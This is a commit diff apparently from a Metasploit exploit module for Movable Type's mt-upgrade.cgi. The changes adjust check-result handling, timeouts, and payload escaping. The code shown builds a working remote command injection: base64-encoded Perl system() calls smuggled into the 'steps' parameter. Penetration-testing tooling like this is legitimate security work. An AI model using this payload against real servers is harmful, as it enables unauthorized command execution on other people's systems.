@@ -33,7 +33,7 @@ def initialize(info = {})
33
33
[
34
34
'Kacper Nowak' ,
35
35
'Nick Blundell' ,
36
- " Gary O'Leary-Steele"
36
+ ' Gary O\ 'Leary-Steele'
37
37
] ,
38
38
'References' =>
39
39
[
@@ -76,7 +76,7 @@ def check
76
76
begin
77
77
res = http_send_raw ( fingerprint )
78
78
rescue Rex ::ConnectionError
79
- return
79
+ return Exploit :: CheckCode :: Unknown
80
80
end
81
81
if ( res )
82
82
if ( res . code == 200 and res . body =~ /Can't locate object method \\ "dbi_driver\\ " via package \\ "#{ fingerprint } \\ " at/ )
@@ -86,6 +86,8 @@ def check
86
86
else
87
87
return Exploit ::CheckCode ::Safe
88
88
end
89
+ else
90
+ return Exploit ::CheckCode ::Unknown
89
91
end
90
92
end
91
93
@@ -95,8 +97,9 @@ def exploit
95
97
http_send_cmd ( payload . encoded )
96
98
end
97
99
98
- def http_send_raw ( cmd , timeout = 20 )
100
+ def http_send_raw ( cmd )
99
101
path = normalize_uri ( target_uri . path ) + '/mt-upgrade.cgi'
102
+ pay = cmd . gsub ( '\\' , '\\\\' ) . gsub ( '"' , '\"' )
100
103
send_request_cgi (
101
104
{
102
105
'uri' => path ,
@@ -105,15 +108,15 @@ def http_send_raw(cmd, timeout=20)
105
108
{
106
109
'__mode' => 'run_actions' ,
107
110
'installing' => '1' ,
108
- 'steps' => %{[["core_drop_meta_for_table","class","#{ cmd . gsub ( '"' , '\"' ) } "]]}
111
+ 'steps' => %{[["core_drop_meta_for_table","class","#{ pay } "]]}
109
112
}
110
- } , timeout )
113
+ } )
111
114
end
112
115
113
116
def http_send_cmd ( cmd )
114
117
pay = 'v0;use MIME::Base64;system(decode_base64(q('
115
118
pay << Rex ::Text . encode_base64 ( cmd )
116
119
pay << ')));return 0'
117
- http_send_raw ( pay , 0.5 )
120
+ http_send_raw ( pay )
118
121
end
119
122
end
0 commit comments